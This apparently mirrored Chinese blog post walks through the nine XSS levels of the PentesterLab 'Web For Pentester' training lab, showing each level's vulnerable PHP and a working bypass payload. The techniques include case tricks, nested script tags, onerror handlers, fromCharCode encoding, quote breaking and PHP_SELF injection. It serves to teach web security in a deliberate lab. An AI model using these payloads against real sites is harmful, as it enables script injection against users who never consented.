zoukankan      html  css  js  c++  java
  • Web For Pentester靶场(xss部分)

    配置

    官网:https://pentesterlab.com/
    下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso
    安装方法:虚拟机按照,该靶场是封装在debian系统里,安装完成打开,ifconfig查看ip地址:

    然后直接访问ip即可
    web for pentester默认没有root密码,可以来设置密码,方便ssh连接等查看源码

    sudo passwd
    

    第一关

    查看源码:

    <?php
            echo $_GET["name"];
    ?>
    

    分析:

    没有任何的过滤,直接将get获取的打印

    payload:

    /xss/example1.php?name=

    第二关

    查看源码:

    <?php
            $name =  $_GET["name"];
            $name = preg_replace("/<script>/","", $name);
            $name = preg_replace("/<\/script>/","", $name);
    echo $name;
    ?>
    

    分析:

    这里通过preg_replace()函数来正则,但是这种匹配是有缺陷的,没有匹配大小写,可以通过大小写绕过

    payload:

    /xss/example2.php?name=<Script>alert('xss')</Script>
    

    第三关

    查看源码:

    <?php
            $name =  $_GET["name"];
            $name = preg_replace("/<script>/i","", $name);
            $name = preg_replace("/<\/script>/i","", $name);
    echo $name;
    ?>
    

    分析:

    在第二关的基础上加了/i,使之匹配不区分大小写,preg_replace()函数将匹配到的,替换成空格,但是只匹配了一次,类似sql注入(Seselectlect),可以嵌套<script>,匹配到了,替换成空格变成我们想要的了

    payload:

    /xss/example3.php?name=<sc<script>ript>alert('xss')</sc</script>ript>
    

    第四关

    查看源码:

    <?php require_once '../header.php';
    if (preg_match('/script/i', $_GET["name"])) {
      die("error");
    }
    ?>
    Hello <?php  echo $_GET["name"]; ?>
    

    分析:

    对script进行了不区分大小写,匹配如果匹配到,就执行die("error"),终止程序,所以scirpt不能用,只能通过其他标签来触发js事件,可使用onerror事件,来执行js

    payload:

    /xss/example4.php?name=<img src="xss" onerror=alert('xss')>
    

    第五关

    查看源码:

    <?php require_once '../header.php';
    if (preg_match('/alert/i', $_GET["name"])) {
      die("error");
    }
    ?>
    Hello <?php  echo $_GET["name"]; ?>
    

    分析:

    对alert进行了过滤

    一.可以使用类似alert的方法来弹窗比如confirm,prompt


    二.通过编码绕过,String.fromCharCode()编码来绕过,可以使用hackbar来快速编码




    payload:

    /xss/example5.php?name=<script>confirm('xss')</script>
    /xss/example5.php?name=<script>prompt('xss')</script>
    /xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
    



    第六关

    查看源码:

    <script>
            var $a= "<?php  echo $_GET["name"]; ?>";
    </script>
    

    分析:

    通过get的方式传入name变量,输入赋值给全局变量a,可以通过闭合双引号或者注释双引号来增加我们的js代码

    payload:

    /xss/example6.php?name=";alert('xss');"
    /xss/example6.php?name=";alert('xss');//
    




    第七关

    查看源码:

    <script>
            var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
    </script>
    

    分析:

    和第八关相似htmlentities()会把字符转换为HTML实体,会将双引号进行编码,但不编码单引号,这里使用的是单引好所以可以继续包含和注释

    payload:

    /xss/example7.php?name=';alert('xss');'
    /xss/example7.php?name=';alert('xss');//
    




    第八关

    查看源码:

    <?php
      require_once '../header.php';
    if (isset($_POST["name"])) {
        echo "HELLO ".htmlentities($_POST["name"]);
      }
    ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    Your name:<input type="text" name="name" />
    <input type="submit" name="submit"/>
    

    分析:

    name变量通过form表单以post方式传入,然后通过htmlentities函数实体化后输出来,并未找到破解的方法。然后观察

    ,用户可控制参数PHP_SELF,并且没有闭合引号和标签

    payload:

    /xss/example8.php/"><script>alert('XSS')</script>//
    /xss/example8.php/" onclick=alert('XSS')//
    



    第九关

    查看源码:

    <script>
      document.write(location.hash.substring(1));
    </script>
    

    分析:

    location.hash属性

    payload:

    /xss/example9.php#<script>alert('XSS')</script>
    

    注意:在火狐和Chrome浏览器<>会被自动转码

    参考文章

    https://www.sqlsec.com/2020/05/pentesterlab.html
    https://blog.csdn.net/qq_20307987/article/details/51284169
    最后欢迎访问我的个人博客:https://lnng.top/

  • 相关阅读:
    122. Best Time to Buy and Sell Stock II
    121. Best Time to Buy and Sell Stock
    72. Edit Distance
    583. Delete Operation for Two Strings
    582. Kill Process
    indexDB基本用法
    浏览器的渲染原理
    js实现txt/excel文件下载
    git 常用命令
    nginx进入 配置目录时
  • 原文地址:https://www.cnblogs.com/Lmg66/p/13307275.html
Copyright © 2011-2022 走看看